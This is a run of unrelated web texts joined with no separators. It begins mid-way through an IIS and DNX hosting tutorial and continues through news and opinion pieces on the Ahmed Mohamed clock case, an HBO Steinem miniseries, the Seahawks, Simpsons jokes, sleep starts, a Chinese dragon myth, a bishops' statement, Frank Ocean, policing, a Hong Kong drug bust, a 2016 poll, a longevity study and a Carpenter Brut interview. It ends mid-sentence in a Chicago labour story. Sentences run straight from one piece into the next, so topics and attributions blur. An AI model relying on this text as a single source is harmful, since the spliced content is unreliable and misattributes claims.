</handlers> <httpPlatform processPath = "..\approot\web.cmd" arguments = "" stdoutLogEnabled = "false" stdoutLogFile = "..\logs\stdout.log" startupTimeLimit = "3600" > </httpPlatform> </system.webServer> </configuration> You may want to set that stdoutLogEnabled=“false” to true immediately cause you’d want to get the errors, normally written to stdout of a hidden process, to be redirected to the log file. Resolving errors One possibility is that you see the following HTTP Error 500.19: This is because at the global config level, the system.webServer/handlers section is locked. To unlock it, go to IIS Manager, select your server root in the left navigation tree, then choose “Configuration Editor” > type system.webServer/handlers in the section selection dropdown and press enter. Then choose “unlock section” from the right action pane. Another (or next) potential issue that you may encounter, is that you see a blank page, that appears to be stuck loading forever. If that’s the case check the logs folder under the path defined in the web.config. Most likely possibility is that dnx command is not being recognized. The reason for this is that the user used to run the IIS process doesn’t have it in the PATH. To combat this, you can do a few things: change the application pool user to a one that has DNX on the PATH (i.e. your own user account) add the DNX environment variables as a system-wide variables: DNX_HOME, should point to your DNX folder, for me it’s C:\Users\filip\.dnx DNX_PACKAGES, should point to your DNX packages folder, for me it’s C:\Users\filip\.dnx\packages DNX_PATH, should point to your DNVM cmd file, for me it’s C:\Users\filip\.dnx\bin\dnvm.cmd If you choose this approach, you have to make sure that IIS_IUSRS has access to all the above folders too. Note that on IIS 10 you can also set environment variables specifically for the application pool. instead of using …\approot\web.cmd to start up your application, you can also hardcode a path to dnx in the processPath attribute of the httpPlatform inside web.config. If you do that, you also need to pass the web argument in the arguments attribute Finally, there might some other issues not mentioned here, that you can identify through the log file. For example, perhaps you provided a custom path to the dnx.exe but have not provided the arguments (“web”). This type of error would simply show up in the log as the usage help for dnx. Overall, I tried this process on IIS 7.5, IIS 8 and IIS 10 – and at the end it ran successfully everywhereAhmed Mohamed didn’t build anything. He just fit existing clockworks into a pencil box. His arrest was a hysterical overreaction, but not “Islamophobia”: school officials nationwide have acted in similar ways with non-Muslim students because of the zero tolerance policy on weaponry. There were ominous implications of this entire episode, with the inevitable effect that school officials will be wary of stopping Muslim students with suspicious objects. He left the U.S. because of all the “Islamophobia” to which he was supposedly subjected, while in reality he was lionized everywhere. Now, apparently, after living in Qatar for awhile, American “Islamophobia” doesn’t seem all that bad. “Ahmed Mohamed, Irving’s infamous ‘Clock Boy,’ returns to the U.S.,” by Allison Harris, FOX4News.com, June 27, 2016 (thanks to Steve): IRVING, Texas – Ahmed Mohamed, the Muslim teenager who made headlines last year when he was suspended for bringing a homemade clock to school in Irving, returned to the United States Monday afternoon. “Ahmed and his family have missed his grandmother, his aunts, uncles, cousins and friends here in Irving and across North Texas very much,” Aldean Mohamed said. “Ahmed and his nuclear family miss America and their whole family here in America very much.” Ahmed said Facebook, MIT and NASA have contacted him through social media, asking him to visit while he’s in the U.S. during the summer. The 14-year-old said he’s happy to be back home, and seeing his friends and family is first priority. He’s been going to school in Qatar and says there’s a 50/50 chance he’ll finish high school in the U.S., but says he definitely wants to go to college here. He says he’s interested in coding, engineering and technology. “I’ve matured more. It’s normal to mature but I’ve matured way more since I got a little bit of publicity, and I’m happy for it,” Ahmed said. “It’s beautiful to be here in USA,” said Ahmed’s father, Mohamed Elhassan Mohamed. “It is our home and it is our country and we love it. As you see, if there is something wrong, America will stand for it and that is what happened. Something was happening to my son. Everybody has a heart, has children, Something is wrong, so they stood for it.” The 14-year-old was arrested in September after Irving MacArthur High School faculty mistakenly thought the homemade digital clock he’d taken school was a bomb. The subsequent fallout made international headlines. Ahmed was invited to visit the White House, participated in Google’s science fair and included in Time’s “Most Influential Teens of 2015” list. He and his immediately family ended up moving to Qatar, where a foundation offered to pay for his education. Irving Mayor Beth Van Duyne at the time said she stood behind the actions of her police department, Ahmed’s family is still suing Irving ISD and Irving Police for $15 million in damages, according to Mohamed’s uncle. The Department of Justice is investigating Irving ISD after dozens of Democratic members of Congress called for an investigation. Ahmed is now at the family’s Irving home before he will travel across the states.On the heels of the 2011 documentary Gloria – In Her Own Words, HBO is revisiting the life and career of feminist icon Gloria Steinem with Ms., a miniseries that would star Oscar winner Marisa Tomei as the journalist and social activist. George Clooney, his producing partner Grant Heslov and Bruce Cohen executive produce the project, now in development, which is toplined/exec prod uced by Tomei and Kathy Najimy. The mini takes a look at the creation of Ms. Magazine in 1971 through the eyes of the the woman who co-founded and ran it, Steinem (Tomei), and her best friend, member of the US House of Representatives Bella Abzug (Najimy). The project also will reflect on those whose lives Ms. changed during the world-altering early days of the Women’s Movement. Steinem serves as consultant. Ms. expands HBO’s relation with Tomei, who just inked a first-look development deal with the pay cable network to develop, produce and possibly star in projects. Tomei, repped by Untitled Entertainment, CAA and Jackoway Tyerman, can be seen in Ira Sachs’ Love Is Strange, which was nominated for 4 Independent Spirit Awards, as well as The Rewrite, opposite Hugh Grant. She is in production on Love, The Coopers alongside Diane Keaton and Olivia Wilde, and has a cameo role in Judd Apatow’s upcoming film, Trainwreck. Najimy has a relationship with HBO — she has been recurring on the network’s comedy Veep.Frank Clark was drafted in the second round out of Michigan by the Seahawks last year. In the regular season, he collected just three sacks, but Pete Carroll noted over the weekend that he regrets having not used Clark more as a rookie. There were two major reasons why there was a general lack of statistical production: The first had to do with his role in this defense, while the second had to do with his technique. In this video breakdown, I break down Frank Clark's changing role and the impact on his pass rushing ability in Carroll's defense. Part way through the season, Seattle moved him to the interior defensive line playing three-technique defensive tackle, shading the outside shoulder of the guard, while also playing one-technique nose tackle. In this new position, Clark played a large majority of his snaps later in the season as a contain defender to keep the quarterback in the pocket as the Seahawks ran stunts around the edge. Bruce Irvin left in free agency for the Oakland Raiders, while the Seahawks drafted Jarran Reed, defensive lineman out of Alabama, with their second round pick this year and then Quinton Jefferson in the fifth. For the 2016 season, I see Clark playing a mixture of three-technique defensive tackle, while also playing edge rusher in obvious pass situations opposite of Cliff Avril. This new role will give more opportunities to pass rush than in his rookie season.For many of us who grew up in the 90s, The Simpsons was not only a hilarious, groundbreaking show, but a learning experience. It advanced our knowledge of pop culture well beyond our years (Seriously, how else would most 9-year-olds know about Citizen Kane and Stanley Kubrick movies?) But aside from the dozens of references to movies, TV, and books that we had to ask our parents about, The Simpsons was also loaded with subtle and not-so-subtle sexual references. I recently rewatched the entire series and noted ten particularly sexual jokes that, as a kid, slipped past my freakin' ears. (Note: By "The Simpsons," I mean the classic years of the show. Seasons 1-11 only.) 1. Krusty's Bawdy Joke ("Black Widower") Even as a kid, I knew something was dirty about Krusty's joke setup, I just didn't get what it was: "This guy walks into a bar and takes out a tiny piano and a twelve-inch pianist. Oh no, wait! I can't tell that one!" Dear 9-year-old me, welcome to Dick-jokesville. Population, you. 2. Smithers And Sea-Men ("Treehouse of Horror III ") Even a prepubescent ignoramus could pick up on "the real deal" with Mr. Smithers, but although I got that he was latently gay, I missed a lot of the jokes that went along with it. Probably the most notorious example came in the third Treehouse of Horror episode when Mr. Burns asked for Smithers' opinion about taking Marge along in a ship full of sailors. Smithers' answer: "I think women and sea-men don't mix." Oh! That. Got it. 3. Flanders' Unintentionally Foul Mouth ("Bart the Lover") As a kid, I did a pretty good impression of Ned Flanders, which basically entailed throwing "diddly" onto the end of words. But when watching "Bart The Lover," I did not understand why my parents chuckled at one particular line which was virtually diddly-free. Now I get that Flanders accident-diddly-ally let out a few innuend-doodly-endos: "All of us pull a few boners now and then, go off half-cocked, make asses of ourselves. I don't want to be hard on you..." Oh, 9-year-old me, you don't fully appreciate the simple pleasures of a good boner joke. But you will! 4. Bart's Hawaiian Shirt ("Homer's Phobia") I was a couple of years older than Bart when "Homer's Phobia" aired, but both of us were too naive to pick up on his wonderful double entendre when he tells Homer that his Hawaiian shirt "came out of the closet." I honestly thought the punchline was the idea that Bart found a Hawaiian shirt in his closet. Why I thought that was funny, I don't know. (This is technically a'sexual-orientation' joke more than an actually-sexual joke, but still, it wasn't exactly in my joke-getting wheelhouse back in 1997) 5. Homer's Whacking ("Whacking Day") Homer and Marge have a pretty active sex life, as is made clear by their frequent references to "snuggling." (Snuggling totally means doin' it, you guys.) In hindsight, these peeks into their bedroom antics were pretty unsettling, given that Homer and Marge essentially raised me as my TV parents, but one line that sticks out as being particularly sexual appears in the episode "Whacking Day" when they discuss the fine art of snake-whacking. Homer asks seductively, "Should I whack slow or fast?" And Marge responds, "Slow...then fast." I understood that they were being frisky, but it would've melted my tiny brain to imagine Homer and Marge "whacking" anything. It's bad enough that when the busty Ms. Springfield says, "Gentlemen, start your whacking!" it made me feel all weird in the pants.The inside story on why it sometimes feels like you’re falling as you fall asleep Have you ever been jolted awake by the sensation of falling, just as you were drifting off to sleep? If so, you’re not weird; you’ve got plenty of company. These involuntary muscle twitches in the arms, legs, or entire body are called [sleep_term id="1194"](or sleep starts), and they’re very common. Up to 70 percent of people experience them occasionally—but no one knows exactly what causes them. Naturally, there are some theories. One is that they’re a result of the natural downshifting of the nervous system that occurs as you’re falling asleep: As your breathing and heart rate slow down and your body temperature drops, your muscle tone shifts, and these twitches occur during this transition. Another theory suggests that as you’re drifting off to sleep, your brain misinterprets the relaxing of your muscles as a sign that you’re actually falling and signals your muscles to tense up, in order to protect you. More often than not, hypnic jerks are nothing to worry about. If one wakes you up, simply roll over and go back to sleep. But keep in mind: a high caffeine intake, strenuous evening activities, emotional stress, or sleep deprivation may increase the frequency and intensity of hypnic jerks. If you suspect that one of these factors may be worsening your nighttime muscle twitches, try cutting back on caffeine, using relaxation techniques to help you decompress, or practicing better sleep hygiene. And if the jerks themselves—or your anxiety about having them—prevent you from getting enough sleep, talk to your doctor.my belated year of the dragon picfor once i have a story for my picture...in chinese mythology, dragons are associated with water, rivers and seas.this picture was inspired by an old chinese myth i read when i was a kid. it was kinda like a kipling "how did_____ get its ______". in this case, it was how did china get its rivers.a long time ago, china had no rivers, so the people had to depend on the rain to water the crops. however, one year, the jade emperor neglected to send down the rain, since he was having such a good time up in heaven.there were four dragon princes living in the sea at that time, and they had a pretty care-free life, frolicking among the waves. however, things got so bad on land that the cries and wails of the people were heard even under the waves and the princes ventured to take a look.the land was so parched the crops had died and famine was rampant across the lands. taking pity on the humans, the four dragons flew up to heaven to plead with the jade emperor to send down the rain. their pleas fell on deaf ears, however, and the dragons were sent back down to the ocean.one of the princes grew angry and suggested that they take the water from the sea and spray it down on to the land. (i guess salt water just made things worse, lol) the dragons tried this for a couple of days, but it just wasn't enough.finally, the princes decided to sacrifice themselves for the people. going on to the land, they turned themselves into rivers. hence the four great rivers of china were created: Heilongjiang (black dragon river) in the north, the yellow river and the yangtze (changjiang) in the central region and the pearl river in the south.The United States Conference of Catholic Bishops says that Vice President Joe Biden’s characterization of the Department of Health and Human Services’ contraception mandate at Thursday night’s vice presidential debate is incorrect. The conference, which is composed of all current and retired members of the Church’s hierarchy in America, said it is “not a fact” that no religious institution is required to provide contraceptives by the mandate, contrary to Biden’s assertion at the debate. “With regard to the assault on the Catholic Church, let me make it absolutely clear,” Biden claimed during the debate. “No religious institution—Catholic or otherwise, including Catholic social services, Georgetown hospital, Mercy hospital, any hospital—none has to either refer contraception, none has to pay for contraception, none has to be a vehicle to get contraception in any insurance policy they provide. That is a fact. That is a fact.” According to the bishops, Biden was incorrect. “This is not a fact,” USCCB issued in a statement. “The HHS mandate contains a narrow, four-part exemption for certain ‘religious employers.’ That exemption was made final in February and does not extend to ‘Catholic social services, Georgetown hospital, Mercy hospital, any hospital,’ or any other religious charity that offers its services to all, regardless of the faith of those served.” The conference also said the administration’s so-called “accommodation” for those currently not exempt from the mandate falls short of protecting religious liberty. “That proposal does not even potentially relieve these organizations from the obligation ‘to pay for contraception’ and ‘to be a vehicle to get contraception,’” USCCS wrote. “They will have to serve as a vehicle, because they will still be forced to provide their employees with health coverage, and that coverage will still have to include sterilization, contraception, and abortifacients. They will have to pay for these things, because the premiums that the organizations (and their employees) are required to pay will still be applied, along with other funds, to cover the cost of these drugs and surgeries.” Thursday’s debate was first the Catholic vs. Catholic vice-presidential debate in American history. Towards the end of the debate, moderator ABC’s Martha Raddatz asked both men about they interpret their faith with regard to public policy, specifically abortion, which highlighted the political divisions of America’s Catholic faithful. While Republican vice-presidential candidate Paul Ryan explained his Catholic faith in part informed his public pro-life beliefs, Biden said that he could not impose his religious beliefs on others, and instead felt motivated by other areas of Catholic social teaching. USCCB continues to urge HHS to discard the contraception mandate. Follow Caroline on TwitterThat summer, I received a 3 a.m. email from a student of mine who’d gone on to high school, checking in with me about her freshman year. She told me to listen to a mixtape by a new singer she liked. I looked him up. It’s no hyperbole to say I’d never before heard anyone who sounded like Frank Ocean. I’d never heard soul- or R&B-inspired vocals paired with lyrics that moved so recklessly beyond the purview of how I understood those genres—words that emerged from the familiar only to blossom into pathos, surrealism, and irreverence. A week later, a demo version of the song “Thinkin Bout You” began circulating online, leaked via the Tumblr account Ocean (or Frank, as many of us call him, Frank Ocean having earned his way into the esteemed pantheon of black people whom other black people call by first name as though we enjoy a personal relationship) maintains. The song blends a sedated, downtempo beat with Ocean’s plaintive vocals—moving at times into a strained falsetto that my grandparents’ generation would probably find pitiful, and that my generation seems to perceive as endearing and honest in its limitations. “Thinkin Bout You” would become the opening song when Ocean’s first album, Channel Orange, was released in 2012. With it, I was hooked. So, it seemed, was everyone I knew. Listening to Channel Orange is sort of like having a sleepover at your best friend’s house and hearing them sing in the shower in the morning. It’s like driving home late at night from a party where you were kissed by someone you pined after and never knew liked you back, and yell-singing along when the song of the summer comes on the radio. It’s at once nostalgic and [afro]futuristic, mundane and bizarre. The album immediately seared itself into the hearts of a black millennial vox populi, becoming an unapologetic masterwork for a group of people increasingly defining themselves at the intersection of lived experience and possibility. And in this way, the work is oddly reminiscent of Mockingbird. Lee returns readers to the sleepy Southern hometown in which most of us never actually lived—a place where even the terrorism of a lynch mob and the specter of unjust death are hushed by the charm of childhood adventure and a young girl’s steadfast belief in her father’s integrity. As Mockingbird revisits the racist hierarchies of 1930s Alabama through a hazy lens of make-believe games and pecan trees, Channel Orange spins tales of drug addiction, sex work, and class divides between the ache of lost love and the click-whir of a tape rewinding. Then summer ended, as it is wont to do. And it was cold, and then warm again, and suddenly Channel Orange was a year old, and then more time passed and it was two years old, and at some point the thing that was new and beautiful was no longer new or beautiful enough and people started asking for something else. Somewhere lies an invisible and intangible rubric, by which some works of art are deemed classics—a status that effectively protects the artist from facing slander or even ever having to produce something good ever again. To Kill A Mockingbird is in that category. So is The Miseducation of Lauryn Hill. Illmatic. The Sixth Sense. But Channel Orange, evidently, is not. Rather than being viewed as a sufficient, self-contained masterwork, Ocean’s audiences have taken it as the promise of more. More memories, more beauty, more nostalgia. And Ocean, for his part, has encouraged it—whether or not it’s a promise he can keep.The last few years have seen huge amounts of government data opened up for use by individuals and organisations alike. Whilst major successes such as Garmin have originated from this, more widespread success has been limited by the poor state of data analysis skills and the somewhat unfriendly way in which the data is presented. We are undertaking to rectify that, in our own small way, with the launch of the Data Playground. The resource allows users to create their own graphs and charts based upon survey data from over 30,000 people. The interface is designed to make analysis quick and simple to conduct. "At the British Election Study we are keen to make our
Wire.” (HBO) Over the course of 2014, I have spent a lot of time thinking about the stories Americans tell themselves about police and the gap between those stories and the actual experiences of people who encounter police every day. How did we get from the ideal of Sheriff Andy Taylor (Andy Griffith) in Mayberry, a man who saw no need for a gun, to the nightmarish fantasies of former Ferguson police officer Darren Wilson and Florida neighborhood watchman George Zimmerman, who saw their fellow citizens as antagonists rather than constituents? How did we reach a place where “In the Heat of the Night” seems optimistic in its portrayal of a confrontation between white cops and a black man that doesn’t end with that man dead or injured? And yesterday, after a grand jury declined to indict officer Daniel Pantaleo, whose use of a chokehold killed Eric Garner, and Cleveland reporters published their investigation of Tim Loehmann, who shot and killed 12-year-old Tamir Rice, I found myself thinking of Roland Pryzbylewski, the young police officer on “The Wire” played by Jim True-Frost. Pryzbylewski, or Pryz, as he’s known to fellow officers, is the kind of officer we almost never see in mass media: a bad one. When he arrives on a special detail dedicated to investigating a major drug ring in the first season of “The Wire,” Pryz already has a serious demerit on his record: For some reason he shot up his own cruiser in a panic, and then filed a false report that suggested he had been under attack. He is considered emotionally unstable, and his assignment to the detail is supposed to be a way to dump him on a black officer, Lt. Cedric Daniels (Lance Reddick), so no other district will have to deal with him, and also to get him out of the way in a manner that will not offend his father-in-law, Maj. Stan Valchek (Al Brown), who is a district commissioner. Echoes of Przy’s previous police work show up in the opening paragraphs of Adam Ferrise’s story on Tim Loehmann’s stint with the Independence, Ohio, police department before he joined the force in Cleveland. “A Nov. 29, 2012 letter contained in Tim Loehmann’s personnel file from the Independence Police Department says that during firearms qualification training he was ‘distracted’ and ‘weepy,’ ” Ferrise reported. ” ‘He could not follow simple directions, could not communicate clear thoughts nor recollections, and his handgun performance was dismal,’ according to the letter written by Deputy Chief Jim Polak of the Independence police. … ‘I do not believe time, nor training, will be able to change or correct the deficiencies,’ Polak said.” Like Pryz, Loehmann is white. And like Pryz, prior emotional displays that raised doubts about his ability to handle guns appropriately did not prevent him from staying on a police force where he would ultimately do greater damage. In “The Wire,” Pryz and several other young officers do a stupid thing. They get drunk, go late at night to one of the housing projects that is a target of their investigation and hassle the residents there, forcing a man to strip on the sidewalk and dumping out another’s laundry. When a 14-year-0ld tweaks them by lounging on the hood of Przy’s car, Pryz clocks the boy with the butt of his pistol. The child ends up losing the sight in one eye. And this will not be the last time that he uses his weapon inappropriately. In the third season of the show, Pryz neglects to identify himself when he responds to a distress call and shoots and kills a plainclothes African American officer. In real life, Loehmann shot Tamir Rice just seconds after arriving on the scene where Rice had been spotted playing with a toy gun. An officer at the scene estimated Rice’s age at 20, unable to recognize him as a child. In “The Wire,” Pryz is removed from street work in the first season only after he survives an internal affairs investigation with some coaching from Daniels. A grand jury has yet to hear the case against Loehmann, but it seems likely that he will join Darren Wilson and Daniel Pantaleo in escaping indictment. Wilson has since resigned from the Ferguson police department. David Simon, the creator of “The Wire,” extended empathy to drug lords and corrupt union officials in his masterful series. And while “The Wire” is also one of a minority of police procedurals (including “The Shield”) to take a hard and extended look at police corruption and police brutality, Simon does something doubly unusual with Pryz. After an unpromising start, Pryz gets to earn back the audience’s respect. Once he is off the street, he shows a talent for investigations that are based in research rather than contact with suspects. And after leaving the Baltimore police department, Pryz becomes an unusually dedicated math teacher, caring for African American teenagers who might have been targets of his violent temper when he worked in law enforcement. Simon is making an important distinction here. Pryz is neither a monster nor a racist. He has redeeming personal qualities and something to offer his community. But from the very beginning of Pryz’s police career, it has been abundantly clear that he is temperamentally unsuited to carry a firearm and that he should not be invested with the authority to use it on behalf of the government. The failure to heed these clear signs has tragic results for Baltimore residents, and for the Baltimore police department itself. For Tamir Rice, for Eric Garner and for Michael Brown, it is long past time for police departments across the country to come to the conclusion that Pryz himself reaches when he quits the force after killing another officer. If policing is to be truly honorable, meaningful work that serves our communities, we have to acknowledge that it’s hard to do well, and that there are people other than serial killers and bigots who are incapable of doing it.Police bust Yuen Long marijuana farm Police have smashed a marijuana operation in the Yuen Long district and seized cannabis plants and buds estimated to be worth HK$11 million (US$1.41 million). The raid came two weeks after police received a tip-off that some people were growing marijuana in a remote village house in Tong Yan San Tsuen, news website hk01.com reports. Officers from the Narcotics Bureau arrested a 43-year-old unemployed man, surnamed Cheung, and a 72-year-old woman, surnamed Lam. Both are locals and tenants of the house. A total of 580 cannabis plants and 1.1 kilograms of cannabis buds were confiscated from a 2,000-square-foot farm secretly located inside the house. According to officials, the farm was equipped with air exhausters, sunlamps, air-conditioners, humidity controllers and carbon-dioxide makers to facilitate plant growth. Officials said the farm has been operating for about three months and providing one-stop services that included production and packaging. Some of its products have been sold on the market, according to Sing Tao Daily. Investigations are continuing and more arrests are expected. According to the Dangerous Drug Ordinance, any person who cultivates cannabis or opium poppy is liable to a fine of HK$100,000 and imprisonment for 15 years upon conviction. – Contact us at [email protected] TL/AC/RATULSA, Okla. -- G.J. Kinne threw for 356 yards, including touchdown passes of 42 yards to Charles Clay and 25 yards to Trae Johnson, to lead Tulsa to a 33-20 victory over Bowling Green on Saturday night. Bowling Green (0-2) scored on its first possession, but the Golden Hurricane (1-1) was able to open a 33-14 lead by the end of the third quarter, helped by four field goals by Kevin Fitzpatrick. Bowling Green quarterback Matt Schilz shook off five sacks and three interceptions to throw for 262 yards and run for two scores. His 2-yard bootleg cut Tulsa's lead to 33-20 with 9:54 left, but he was intercepted by Charles Davis at the TU 9-yard line with 5:32 to play. Alex Singleton led TU with 74 yards in 16 carries. Tulsa amassed 540 yards while limiting Bowling Green to 303.Donald Trump is now surpassing Hillary Clinton among a national electorate, edging her out by three percentage points in the latest general election poll by Fox News. The Fox News survey, out late Wednesday, shows Trump leading Clinton 45-42 percent, with a three-point advantage that's within the poll's margin of error. Trump has gained ground on Clinton since last month, when the same poll found the former secretary of state up 48 percent to 41 percent. The real estate mogul sent out a victorious tweet about the poll Wednesday night: Trump's strong base of support comes from his popularity among working-class white voters without a college degree: He outperforms Clinton among those voters 61-42 percent. Overall, white voters tend to prefer Trump (55-31 percent), and he even has an advantage over Clinton among white women (47-38 percent). Clinton, however, performs much better among minority populations: among black voters, Clinton is up 90-7 percent, while Hispanic voters favor her 62-23 percent. When it comes to the two candidates' moral values, voters don't feel as if they can trust either Clinton or Trump. Sixty-six percent of the poll's sample said Clinton was not honest and trustworthy, compared to the 31 percent that said she was. Trump does just slightly better on this score, with 57 percent saying he's dishonest and 40 percent saying he's not. Most voters -- 71 percent -- believe Clinton will "say anything to get elected," while 65 percent say the same of Trump. In a head-to-head matchup between Trump and Clinton's Democratic rival, Bernie Sanders, the New York billionaire would lose out to Sanders. Trump's support clocks in at 42 percent, compared to Sanders' support at 46 percent. About 10 percent of Sanders voters say they would vote for Trump over Clinton in the general election if their preferred candidate was not on the ballot. The Fox News poll was conducted by Anderson Robbins Research and Shaw & Company Research among 1,021 registered voters nationwide from May 14-17, 2016. The poll has a margin of sampling error of plus or minus three percentage points for all registered voters.A 72-year-old in today's Japan has the same odds of dying as a 30-year-old in the preindustrial world. That's the startling conclusion of a new study that gauges just how far the death rate has fallen in industrialized countries in recent centuries. "In other words," the researchers write, "... 72 is the new 30." Humans nowadays survive much longer than our closest living relatives, chimpanzees, which rarely live past 50. Even hunter-gatherers—who often lack the advanced nutrition, modern medicine, and other benefits of industrialized living—have twice the life expectancy at birth as wild chimpanzees. So what's changed in us since the days of our ape ancestors? Are we living so much longer mainly because of changes in our lifestyles or because of genetic mutations—in other words, evolution? To find out how we got to this advanced state, the study team compared death rates in industrialized countries with those in modern-day hunter-gatherer groups, whose lifestyles more closely mirror those of early modern humans. The researchers found that the mortality rate at younger ages—during the first couple decades of life—in the industrialized world is now about 200 times lower overall than in today's hunter-gatherer groups. "We have a greater distance in mortality levels between today's lowest-mortality nations and hunter-gatherers than there is between hunter-gatherers and chimpanzees," said study leader Oskar Burger, an evolutionary anthropologist at the Max Planck Institute for Demographic Research in Germany. Longevity's Great Leap Forward In other words, when it came to human longevity, the recent shift to modern living far outweighs evolutionary improvements that have built up over thousands of years. For example, most of the change in mortality rates occurred between now and about 1900—just 4 or so of the roughly 8,000 human generations that have ever lived, the study found. "The amount of improvement made in the last century is much, much greater than the improvement made during evolutionary history between chimpanzees and humans," Burger said. These improvements are unsurprisingly most likely due to lifestyle changes, rather than to any species-wide genetic adaptations. "The finding that people who have access to food, clothes, shelter, and medicine live longer—or have lower mortality levels—than those who do not is not surprising at all," Burger said. But "the magnitude and timing of the mortality reduction is of interest," he said. "Two hundred or more times lower mortality at ages 10 to 20 or so? To me, that is really a lot." Forever Young? It's still unclear why human lifespan is so susceptible to external changes. "Moving ahead, research should aim to understand just how changes in environment and lifestyle have led to these remarkable increases in life span," said biologist Caleb Finch of the University of Southern California, who did not take part in this study. "There are a huge number of biological mechanisms to be investigated here." No matter what future investigations hold, don't expect us to continue inching toward immortality forever, Finch said. "The negative forces ahead for improved life span are formidable," he said. "For instance, you have the global obesity epidemic that's developed in the last 20 years impacting health, as well as environmental deterioration to consider." Added longevity expert Dan Buettner, "At the end of the day, the buildup of damage that cells experience leads to mistakes—that's why we get wrinkled skin and grey hair. This buildup would seem to impose a ceiling on life span. "Still, maybe some breakthrough we can't predict might occur," said Buettner, a National Geographic explorer and author of The Blue Zones: Lessons for Living Longer from the People Who've Lived the Longest. "We had no idea penicillin would happen, and that suddenly led rates of infectious disease to plummet. Maybe a similar advance will cause increases in life span to continue."Love or hate the name, synthwave seems to be here to stay. Although many of the artists associated with the genre appear to reject the label, there is no denying the appeal for seventies/eighties soundtrack inspired electronica is on the rise. In amongst the throng you can find the mysterious Carpenter Brut: a French artist who gives very little in the way of interviews, and who has risen the synthwave ranks lately when his 2015 Trilogy– a compilation of his first three E.Ps I (2012), II (2013) and III (2015)– began to gather attention through word of mouth and internet streaming sites; helping to build on his already strong existing fanbase. With tracks like the compelling Disco Zombi Italia, Turbo Killer and Le Perv hitting all the right dark, pulsating, retro notes, it is not surprising the Brut’s success continues to grow. Diabolique Magazine were fortunate enough to catch up with the artist for an exclusive interview. Diabolique: How did Carpenter Brut start life? Carpenter Brut: It started in 1231. Diabolique: Do you enjoy working under a certain level of anonymity? Carpenter Brut: I do. First, I avoid wasting my time shooting promo pictures, which is always a risky task. You can quickly look like a clown. I also think that whoever is behind the music actually doesn’t matter. I like the concept of bands like Ghost or Daft Punk. If anonymity is well kept, it makes the concept stronger. Of course you can’t prevent people who will open their mouths and ruin everything. I really want to bash those who, in my case, ruin the concept by throwing my name in a review just to brag “hey I know something you don’t know”. It might not be a big deal for them but it is for me, and they could at least respect that. Now it is different for live shows, as people can see my face, but they still don’t know who I am. Diabolique: Tell us about the horror influences in your work Carpenter Brut: I actually no longer watch horror movies; I’m not in the mood anymore. I have watched a lot of them when I was a kid, even if that meant waiting they were broadcast on TV or available at the local VHS rental store. I don’t remember all of them but they must have printed my brain somehow. I clearly remember Nekromantik for instance. I have always considered horror movies a public utility, like porn movies. Diabolique: What are some of your favorite soundtracks? Carpenter Brut: I didn’t really listen to horror soundtracks. They tend to be not much about music, more about weird strident sounds. They clearly work within the movie but not really without. But there are themes that stand out such as Creepshow, Maniac Cop, Friday 13th etc. And of course the classics from John Williams, John Carpenter, Alan Silvestri, James Horner etc. You see, nothing groundbreaking in my taste. Diabolique: How have they inspired your work? Carpenter Brut: I have no idea. I guess without I realized it, like images from movies. I don’t seek to copy so I definitely don’t listen to soundtracks before I compose. I let the past memories do their trick. But in some way these soundtracks probably pushed me to make music so maybe I give them an unconscious and awkward tribute [laughs]. Diabolique: Do you work with an overall concept in mind, or are your songs unconnected? Carpenter Brut: I start with a main theme for each EP and I try to keep some coherence in the sequels. Invasion AD and Escape follow each other, yet I composed the latter first. I try to close the loop: Invasion, escape. Diabolique: Do you consciously identify with any scene, and if so, why? Carpenter Brut: I don’t. People talk about dark synthwave; sure why not. When I started I didn’t know that scene. I just wanted to mix music from John Carpenter and Justice, that’s it. Then I got labeled « synthwave » and I discovered the genre. But I like it, even if at the same time I don’t care. Diabolique: You have done some video game soundtracks, can you tell us a bit about those? Carpenter Brut: The dudes from Hotline Miami 2 and The Crew directly contacted me to use songs already existing. So I didn’t have much work to do. But it definitely helped me to get a name (I thank them!), even if now some people think I composed the tracks for Hotline Miami [laughs]. For Furi now, I composed 3 original tracks. I actually wrote riffs for specific action moments in the game and then I wrote the tracks. Each track matches a level and a boss. It’s a harder job than creating a song. You’re not talking about verses and chorus but about game sequences. I don’t know if I did what I really wanted to do but for a first time I think I did o.k. Diabolique: Would you like to broaden scope that into film? Carpenter Brut: I did a quick OST for the Deka Brothers for their short movie Father and Son and I enjoyed doing it. When I’m fed up with Carpenter Brut, I will probably score more OST, I’ve always loved doing that. Diabolique: How have you found touring as a live act? Carpenter Brut: We are three people on stage. Absolutely no question to be a « spacebar DJ », I would get bored and so would the audience. There is a drummer, a guitarist and I’m on keyboards. We also have a visual background made of cool and cheesy old school movies. Diabolique: What has been the reaction from fans? Carpenter Brut: In general people seem happy and have fun. There are gamers, metalheads… It’s a pretty diverse crowd and I like that. It’s always a good time. We’ve even had girls showing their tits occasionally. This contributes to write History, doesn’t it? [laughs] Diabolique: Have there been any challenges involved in adapting to playing in from of a live audience? Carpenter Brut: I modified the songs so there’s no pause and it’s non-stop for an hour. We had to blend the guitar in, as there are no or very few guitars in the original songs. Same with the drums; my drums patterns are pretty basic so our drummer had to rearrange them to bring his own groove and breaks. In the end, there are 2 somehow different versions for each song: studio and live. You like it or not, but we offer something different live, in order not to bore our audience and to have fun on stage. Diabolique: What are you working on at the moment? Carpenter Brut: I’m taking some time off before starting touring again in September and I’m also thinking about a concept for an album. It’s quite hard because I have many ideas but I need to pick the good one, the one that will keep the concept fresh when I play it live. Diabolique: What can people expect from Carpenter Brut in the future? Carpenter Brut: We are working on touring in Europe and North America. It’s not easy to find gigs for now because synthwave is still very confidential and few promoters are interested. So I often get comments on Facebook by people who want to see us in their place and think we don’t want to go there [laughs]. Reality is quite different. We will not tour the whole world but we have some cool gigs coming up so be patient (well, at least those of you who want to see us!). I hope to release an album at the end of 2017 if everything goes as planned. No rush. No way I’m putting out something I like only 99%.Photo CHICAGO — As workers at a window-making plant here prepared to spend a fourth night in the factory they had been told to leave for good, union leaders, bankers and company owners met into the night on Monday but the meetings ended without bringing about an end to the workers’ peaceful but increasingly tense occupation of the plant. The layoff of 250 workers last week at Republic Windows and Doors on the North Side with only three days’ warning and without pay the workers say is owed to them had, by Monday, drawn the attention of nearly every politician with a connection to this city, numerous union and workers’ rights groups and scores of ordinary people, who arrived at the plant offering families toys, food and money. Gov. Rod R. Blagojevich, who met with the workers Monday morning, said the State of Illinois was suspending its business with the Bank of America, Republic Windows’ lenders, and that the Illinois Department of Labor was poised to file a complaint over the plant closing if need be. Political leaders on the Chicago City Council and in Cook County threatened similar actions. Representative Luis V. Gutierrez said he was encouraging the Department of Labor and the Department of Justice to investigate. “Families are already struggling to keep 